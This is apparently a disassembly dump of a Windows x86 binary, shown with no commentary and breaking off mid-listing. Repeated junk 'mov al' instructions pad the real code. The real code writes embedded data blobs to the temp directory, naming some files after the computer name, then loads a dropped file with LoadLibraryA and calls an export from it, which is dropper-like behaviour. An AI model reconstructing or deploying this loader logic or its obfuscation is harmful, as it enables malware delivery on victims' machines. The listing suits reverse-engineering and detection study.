mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x1a
call fcn.00405640
add esp, 4
mov dword [ebp - 0x124], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x124], 0
jne 0x40331d
jmp 0x404517
mov byte [ebp - 0x25e], 0
mov al, byte [ebp - 0x25e]
mov byte [ebp - 9], al
mov cl, byte [ebp - 9]
mov byte [ebp - 0x379], cl
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movzx edx, byte [ebp - 0x385]
test edx, edx
jne 0x403379
mov eax, dword [ebp - 0x258]
movsx ecx, byte [eax]
cmp ecx, 0x72
jne 0x403388
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x403b3b
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
call fcn.00404a70
mov byte [ebp - 0x379], al
movsx eax, byte [ebp - 0x379]
test eax, eax
je 0x403ad8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
je 0x403459
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 9], 0x72
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
push edx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a110
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38c], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
mov dword [ebp - 0x6b4], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x6b4]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4035e0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x6b4]
lea eax, [ebp - 0x230]
sub edx, eax
mov dword [ebp - 0x6b8], edx
jmp 0x40361e
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x6b4]
add ecx, 1
mov dword [ebp - 0x6b4], ecx
jmp 0x403569
mov edx, dword [ebp - 0x38c]
add edx, dword [ebp - 0x6b8]
mov dword [ebp - 0x38c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x120]
push eax
push 8
mov ecx, dword [ebp - 0x38c]
push ecx
call fcn.004051e0
add esp, 0xc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push str._emm
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx eax, byte [ebp - 9]
cmp eax, 0x72
jne 0x403ad6
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x31
jl 0x403735
movsx edx, byte [ebp - 0x379]
cmp edx, 0x38
jg 0x403735
mov dword [ebp - 0x870], 1
jmp 0x40373f
mov dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x380], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx ecx, byte [ebp - 0x379]
cmp ecx, 0x61
jl 0x403799
movsx edx, byte [ebp - 0x379]
cmp edx, 0x64
jg 0x403799
mov dword [ebp - 0x874], 1
jmp 0x4037a3
mov dword [ebp - 0x874], 0
mov eax, dword [ebp - 0x874]
mov dword [ebp - 4], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x380], 0
jne 0x4037e5
cmp dword [ebp - 4], 0
je 0x403856
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov cl, byte [ebp - 9]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x11000
push 0x40c030
call fcn.00404520
add esp, 0x10
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x724], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x724], 0xffffffff
je 0x4038fb
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x403907
mov dword [ebp - 0x728], 0
jmp 0x403911
mov dword [ebp - 0x728], 1
cmp dword [ebp - 0x728], 0
je 0x403ad6
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3a8], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x3a8], 0
je 0x403ad6
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x1c
call fcn.00405640
add esp, 4
mov dword [ebp - 0x384], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a114
mov eax, dword [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46d40c], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx ecx, byte [ebp - 0x379]
push ecx
call dword [0x46d40c]
mov byte [ebp - 0x25e], al
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x3a8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x403b39
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x403b9d
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x258]
mov dl, byte [ecx]
mov byte [ebp - 0x25e], dl
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx eax, byte [ebp - 0x25e]
test eax, eax
jne 0x403bdd
movsx ecx, byte [ebp - 0x379]
test ecx, ecx
jne 0x403be8
movzx edx, byte [ebp - 0x231]
test edx, edx
je 0x403c01
movzx eax, byte [ebp - 0x231]
test eax, eax
je 0x404433
cmp dword [ebp - 8], 0x78
jle 0x404433
mov dword [ebp - 8], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x25e], 0x72
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea ecx, [ebp - 0x230]
push ecx
push 0xc8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a118
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x25c], 0x7f
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x378]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
mov dword [ebp - 0x38c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x230]
mov dword [ebp - 0x7f4], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x7f4]
movsx edx, byte [ecx]
test edx, edx
jne 0x403e08
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x7f4]
lea ecx, [ebp - 0x230]
sub eax, ecx
mov dword [ebp - 0x7f8], eax
jmp 0x403e46
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x7f4]
add edx, 1
mov dword [ebp - 0x7f4], edx
jmp 0x403d91
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x7f8]
mov dword [ebp - 0x38c], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea ecx, [ebp - 0x378]
push ecx
push 0xb
mov edx, dword [ebp - 0x38c]
push edx
call fcn.004051e0
add esp, 0xc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push str._fyf
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x848], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x848], 0xffffffff
je 0x403f7d
movsx edx, byte [ebp - 0x230]
test edx, edx
jne 0x403f89
mov dword [ebp - 0x84c], 0
jmp 0x403f93
mov dword [ebp - 0x84c], 1
cmp dword [ebp - 0x84c], 0
je 0x403fa7
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x40401b
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov cl, byte [ebp - 0x25e]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0x50000
push 0x41d038
call fcn.00404520
add esp, 0x10
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x378]
mov dword [ebp - 0x26c], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x26c]
mov byte [ecx], 0x22
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
